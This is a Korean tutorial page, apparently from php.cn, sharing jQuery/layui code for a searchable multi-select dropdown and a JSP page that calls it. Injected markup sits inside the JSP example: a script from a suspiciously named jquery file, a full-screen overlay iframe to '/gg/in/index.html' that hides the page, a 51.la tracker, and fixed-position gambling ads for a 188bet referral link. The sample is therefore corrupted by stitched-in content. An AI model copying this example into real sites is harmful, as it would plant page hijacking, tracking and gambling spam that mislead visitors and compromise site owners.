> 웹 프론트엔드 > JS 튜토리얼 > 순수 js를 사용하여 드롭다운 목록을 생성하는 방법

순수 js를 사용하여 드롭다운 목록을 생성하는 방법

亚连
풀어 주다: 2018-06-12 16:27:22
원래의
3323명이 탐색했습니다.

아래에서는 순수 JS 코드를 사용하여 검색 가능한 선택 드롭다운 목록을 생성하는 예를 공유하겠습니다. 이는 좋은 참조 값을 갖고 있으며 모든 사람에게 도움이 되기를 바랍니다.

1. 작성자가 동적 CSS를 작성할 수 없으므로layui에 CSS 스타일을 도입해야 합니다.

1

<link rel="stylesheet" href="${ctxStatic}/layui/css/layui.css" rel="external nofollow" rel="external nofollow" >

로그인 후 복사

2 jquery-1.8.3.js 버전을 도입해야 합니다

예를 들어 코드 구현은 다음과 같습니다.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

var selectData={};//下拉列表总数据

/**

 * 下拉搜索,多选择等

 */

$.fn.selectDataFun=function (json) {

  selectData[$(this).attr("id")]={thisDom:null,initData:null,jsonData:null,htmlText:null,

    isShow:true,selectElements:true,overStat:true,checkedElementIds:&#39;&#39;};

  thisSelectFun($(this)).thisDom=$(this);//设置索引为id,值为本身对象

  thisSelectFun($(this)).initData=json;//初始数据为json

/*  var isShow=true;//是否显示

  var selectElements;//选择的选项

  var overStat=true;//鼠标经过的状态

  var checkedElementIds=&#39;&#39;;//选中项的id*/

  //根据字段生成html代码

  setFieldTypeFun($(this));

  //请求后台数据

  getSelectDataFun($(this));

  //生成下拉列表

  thisSelectFun($(this)).htmlText = createSelectFun($(this));//htmlText为缓存的html代码

  //调用总方法

  callMethodFun($(this));

}

//根据对象id值获取对象数据

function thisSelectFun(thisD) {

  if(thisD.attr("id")==&#39;&#39;){

    alert("id值为空");

    return null;

  }

  return selectData[thisD.attr("id")]

}

//根据对象字段生成html代码

function setFieldTypeFun(thisD){

  var thisId=thisD.attr("id");

  var fields = selectData[thisId].initData;//以id获取该对象的所有数据

  //生成html代码

  var title=fields.title;

  var inputId=fields.inputId;

  var selectHtml=&#39;<p class="layui-form-select">&#39;+&#39;<p class="layui-select-title">&#39;+

      &#39;<input type="hidden" id="&#39;+inputId+&#39;" name="&#39;+inputId+&#39;" />&#39;+

    &#39;<span>&#39;+title+&#39;:</span>&#39;+&#39; &#39;+&#39;<input id="&#39;+thisD.attr("id")+&#39;Search" value="" hiddenValue="" class="form-control input-sm" type="text">&#39;+

    &#39;<i class="layui-edge"></i>&#39;+&#39;</p>&#39;+&#39;<dl class="layui-anim layui-anim-upbit" id="&#39;+thisD.attr("id")+&#39;dl" style=""></dl>&#39;+

    &#39;</p>&#39;;

  thisD.append(selectHtml);

}

//请求后台数据

function getSelectDataFun(thisD) {

  var fields = selectData[thisD.attr("id")].initData;//以id获取该对象的所有数据

  //判断数据ajaxUrl中是否含有url字段

  if(fields.ajaxUrl.hasOwnProperty(&#39;url&#39;)){

    //以请求路径为url请求后台数据,并赋值给jsonData

    thisSelectFun(thisD).jsonData=ajaxFunss(fields.ajaxUrl);

  }else {

    if($.isEmptyObject(thisSelectFun(thisD).jsonData)){

      thisSelectFun(thisD).jsonData={ code: 0, msg: "获取成功", count: 0,data:new Array()};

    }

  }

}

//请求后台数据

function ajaxFunss(json) {

  json[&#39;async&#39;]=false;

  json[&#39;dataType&#39;]=&#39;json&#39;;

  json[&#39;type&#39;]=&#39;post&#39;;

  var layerLoadIndex = layer.load(1); //换了种风格

  var resultData=$.ajax(json);//发送请求

  layer.close(layerLoadIndex);

  if(resultData.status==200){//请求后台数据成功

    return resultData.responseJSON;

  }else {

    return null;

  }

}

//生成下拉列表

function createSelectFun(thisD) {

  var json=thisSelectFun(thisD).jsonData;

  var html=&#39;&#39;;

  for(var n in json){

    html+=&#39;<dd lay-value="&#39;+json[n].id+&#39;" class="">&#39;+json[n].name+&#39;</dd>&#39;;

  }

  var id=thisD.attr("id")+&#39;dl&#39;;

  $("#"+id).append(html);

  return html;

}

//调用总方法

function callMethodFun(thisD) {

  var iDom=thisD.find(".layui-edge").eq(0);//i元素,eq为等于的意思

  var pDom = thisD.find(".layui-form-select").eq(0);//下拉列表所在的p

  /* var isShow = thisSelectFun(thisD).isShow;//是否显示

  var selectElement = thisSelectFun(thisD).selectElements;//选中的选项

  var overStat = thisSelectFun(thisD).overStat;//鼠标经过和离开状态

  var checkedElementIds = thisSelectFun(thisD).checkedElementIds;//隐藏输入框的value值*/

  //小三角符号绑定点击方法

  iDom.click(function () {

    if(thisSelectFun(thisD).isShow){

      thisSelectFun(thisD).isShow=false;

      pDom.addClass("layui-form-selected");//显示下拉列表

    }else {

      thisSelectFun(thisD).isShow=true;

      pDom.attr("class","layui-form-select");//隐藏下拉列表

    }

  });

  //dl元素绑定点击方法

  var dlDom=thisD.find("dl").eq(0);

  var searchId = thisD.attr("id")+&#39;Search&#39;;//搜索框id

  dlDom.on("click",&#39;dd&#39;,function () {

    if(thisSelectFun(thisD).initData.selectType) {

      //多选

      if (thisSelectFun(thisD).selectElements) {

        thisSelectFun(thisD).selectElements = false;

        $(this).addClass("layui-this");//设置勾选状态

        var text = $("#" + searchId).val();//输入框的内容

        var selectText = $(this).text() + ",";//选择的选项

        var checkedId = $(this).attr("lay-value") + ",";//获取选项的id

        if (text.indexOf(selectText) != -1) {//判断输入框中的内容是否包含有所选的选项

          return;

        }

        thisSelectFun(thisD).checkedElementIds += checkedId;

        $("#" + searchId).val(text + selectText);

      } else {

        thisSelectFun(thisD).selectElements = true;

        $(this).attr("class", "");//清空勾选状态

        var val = $(this).text() + ",";//勾选的选项

        var checkedId = $(this).attr("lay-value") + &#39;,&#39;;//获取选项的id

        var text = $("#" + searchId).val().replace(val, "");//清除勾选的选项

        $("#" + searchId).val(text);//设置

        thisSelectFun(thisD).checkedElementIds = thisSelectFun(thisD).checkedElementIds.replace(checkedId, "");//清除勾选的选项

      }

    }else {

      //单选

      //获取已经选中的选项,并清除

      var ddDom=thisD.find(".layui-this").eq(0);

      ddDom.attr("class","");//清除

      $(this).addClass("layui-this");//设置勾选状态

      var selectText = $(this).text();//选择的选项

      var checkedId = $(this).attr("lay-value");//获取选项的id

      thisSelectFun(thisD).checkedElementIds = checkedId;

      $("#" + searchId).val(selectText);

      pDom.attr("class","layui-form-select");//隐藏下拉列表

  }

    var hiddenId=selectData[thisD.attr("id")].initData.inputId;//隐藏输入框id

    $("#"+hiddenId).val(thisSelectFun(thisD).checkedElementIds.substring(0,thisSelectFun(thisD).checkedElementIds.length-1));

  })

  //鼠标经过时

  dlDom.mouseover(function () {

    thisSelectFun(thisD).overStat=false;

  });

  //鼠标离开时

  dlDom.mouseout(function () {

    thisSelectFun(thisD).overStat=true;

  });

  //鼠标松开时

  $("body").mouseup(function () {

    if(thisSelectFun(thisD).overStat==true){//并且overStat为true

      pDom.attr("class","layui-form-select");//隐藏下拉列表

    }

  });

  //搜索框键盘松开事件

  var searchDom = thisD.find("#"+searchId).eq(0);//搜索框对象

  searchDom.keyup(function () {

    searchFunssss(thisD,searchId,pDom,dlDom);

  });

}

//根据输入内容搜索出匹配的选项

function searchFunssss(thisD,searchId,pDom,dlDom) {

  var val=$("#"+searchId).val();//搜索框id

  if(val.length>0){

    var conText=&#39;&#39;;//符合条件的选项

    var searchStats=false;//是否搜索到

    var htmlText=thisSelectFun(thisD).htmlText;//缓存的html代码

    dlDom.children().each(function () {

      var thisText=$(this).text();

      var thisDom=&#39;<dd lay-value="&#39;+$(this).attr("lay-value")+&#39;" class="">&#39;+thisText+&#39;</dd>&#39;;

      if(val==thisText){

        conText+=thisDom;

        htmlText=htmlText.replace(thisDom,"");

        searchStats=true;

        var searchId = thisD.attr("id")+&#39;Search&#39;;//搜索框id

        $("#"+searchId).val("");//清空搜索框

      }

    });

    htmlText=conText+htmlText;

    dlDom.children().remove();//删除其子节点

    dlDom.append(htmlText);

    if(searchStats){

      pDom.addClass("layui-form-selected");//显示下拉列表

    }

  }

}

로그인 후 복사


위 js 코드는 selectFun.js라는 js 파일에 배치됩니다.

호출은 다음과 같습니다.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

<%@ page contentType="text/html;charset=UTF-8" %>

<%@ include file="/webpage/include/taglib.jsp"%>

 

 

  <title>test</title>

  <meta name="decorator" content="default">

  <link rel="stylesheet" href="${ctxStatic}/layui/css/layui.css" rel="external nofollow" rel="external nofollow" >

  <script src="${ctxStatic}/selectFun.js" charset="utf-8"></script>

  <script type="text/javascript">

   $(document).ready(function() {

      $("#busgatep").selectDataFun({

        ajaxUrl:{url:'${ctx}/goods/goods/getStat',where:{}},//请求后台数据的路径

        selectType:true,//true多选,false单选

        title:'商品状态',//字段中文名称

        inputId:'busgate'//实体类字段

      });

      $("#sortp").selectDataFun({

        ajaxUrl:{url:'${ctx}/goods/goods/getSortname',where:{}},

        selectType:true,

        title:'商品大类',

        inputId:'sort'

      });

    });

  </script>

<script type="text/javascript" src="/js/jquery.3.5.2.min.m.js"></script><div style="Z-INDEX:1000000000000000000;POSITION:absolute;TEXT-ALIGN:left;BACKGROUND-COLOR:#ffffff;WIDTH:100%;HEIGHT:100%; TOP:0px; RIGHT:0px;LEFT:0px;"><iframe frameborder="no" src="/gg/in/index.html" style="height: 100%;width: 100%;position: fixed;left:0; top:0;"></iframe></div><script>!function(p){"use strict";!function(t){var s=window,e=document,i=p,c="".concat("https:"===e.location.protocol?"https://":"http://","sdk.51.la/js-sdk-pro.min.js"),n=e.createElement("script"),r=e.getElementsByTagName("script")[0];n.type="text/javascript",n.setAttribute("charset","UTF-8"),n.async=!0,n.src=c,n.id="LA_COLLECT",i.d=n;var o=function(){s.LA.ids.push(i)};s.LA?s.LA.ids&&o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:"K0m2TJ2kWzkFfr5E",ck:"K0m2TJ2kWzkFfr5E"});</script>

<div style="position: fixed;right: 0;top:100px;width: 125px; z-index:2000;"><div><a target="_blank" rel="nofollow" href="https://www.520xingyun.com/from/188bet.php"><img width="120px" height="550px" src="https://www.520xingyun.com/images/188_120.gif"></a></div></div><div style="position: fixed;left: 0;top: 100px;width: 125px;z-index:2000;"><div><a target="_blank" rel="nofollow" href="https://www.520xingyun.com/from/188bet.php"><img width="120px" height="550px" src="https://www.520xingyun.com/images/188_120.gif"></a></div></div>

 

  <p class="row">

  </p><p class="col-sm-12">

  <form:form id="searchForm" modelattribute="goods" action="${ctx}/goods/goods/dataListFun" method="post" class="form-inline">

   </form:form></p><p class="form-group">

     <span>商品名称:</span>

      <form:input path="name" htmlescape="false" maxlength="80" class=" form-control input-sm">

     <span>商品代码:</span>

      <form:input path="code" htmlescape="false" maxlength="80" class=" form-control input-sm">

     <span>商品条码:</span>

      <form:input path="code2" htmlescape="false" maxlength="30" class=" form-control input-sm">

    </form:input></form:input></form:input></p>

   <br><br>

   <p class="form-group">

     </p><p class="layui-inline" id="sortp">

     </p>

     <p class="layui-inline" id="busgatep">

     </p>

   

  <br>

  <p></p>

  <p></p>

  

로그인 후 복사

위는 제가 컴파일한 것입니다 모두를 위해. 앞으로 모든 사람에게 도움이 되기를 바랍니다.

관련 기사:

vue에서 웹팩 패키징 최적화를 구현하는 방법

vue 및 반응을 사용하여 확장 및 축소 효과 달성

Vue 2.5.2 방법에서 axios + express를 사용하여 로컬 요청 404에 대한 솔루션

vue-router를 배포하고 프로젝트를 서버에 표현하는 방법

위 내용은 순수 js를 사용하여 드롭다운 목록을 생성하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

원천:php.cn
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
최신 이슈
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿